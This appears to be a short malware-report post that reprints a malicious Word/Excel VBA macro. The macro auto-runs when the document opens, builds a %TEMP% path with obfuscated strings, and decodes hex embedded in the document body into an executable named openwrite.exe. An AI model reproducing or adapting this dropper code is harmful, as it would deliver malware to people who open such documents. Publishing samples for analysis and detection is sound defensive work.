VBA Macro xpress

Malicious VBA Macro
Reported by neonprimetime security
http://neonprimetime.blogspot.com

*****
Sub Auto_Open()
   xpress
End Sub
Sub AutoOpen()
   Auto_Open
End Sub
Sub Workbook_Open()
   Auto_Open
End Sub

Sub xpress()

    Dim TmpFile
    Dim TmpName
    Dim BytesWritten
    Dim lInputFile
    Dim iRet As Integer
    Dim strPrompt As String
    Dim strTitle As String

    strPrompt = "Ask Your Question Here, OK?"
    strTitle = "My Tite"
    strTitle = "MP"
    TmpFile = Environ("TE" & strTitle)
    strTitle = "xe"
    TmpName = TmpFile & "openwrite.e" & strTitle

    MsgBox (TmpName)

    Dim Data
    Data = ActiveDocument.Range.Text
    Dim Pos
    Dim Pos22
    Dim Symbol
    Dim Text

    strTitle = "78"
    Pos = InStr(12, Data, "56" & strTitle)
    Pos22 = InStr(12, Data, "9999" & strTitle)
    ByteWritten = Pos + 2 + 2

    InputFile = FreeFile
    Open TmpName For Binary Lock Write As #InputFile

    While (ByteWritten < Pos22)
    Symbol = Mid(Data, ByteWritten, 2)
    strTitle = "H"
    MsgBox ("&" & strTitle & Symbol)
    Put #InputFile, , CByte("&" & strTitle & Symbol)
    ByteWritten = ByteWritten + 3 - 1
    Wend

    Close #InputFile

    MsgBox (TmpName)

End Sub

Private Sub Document_New()

End Sub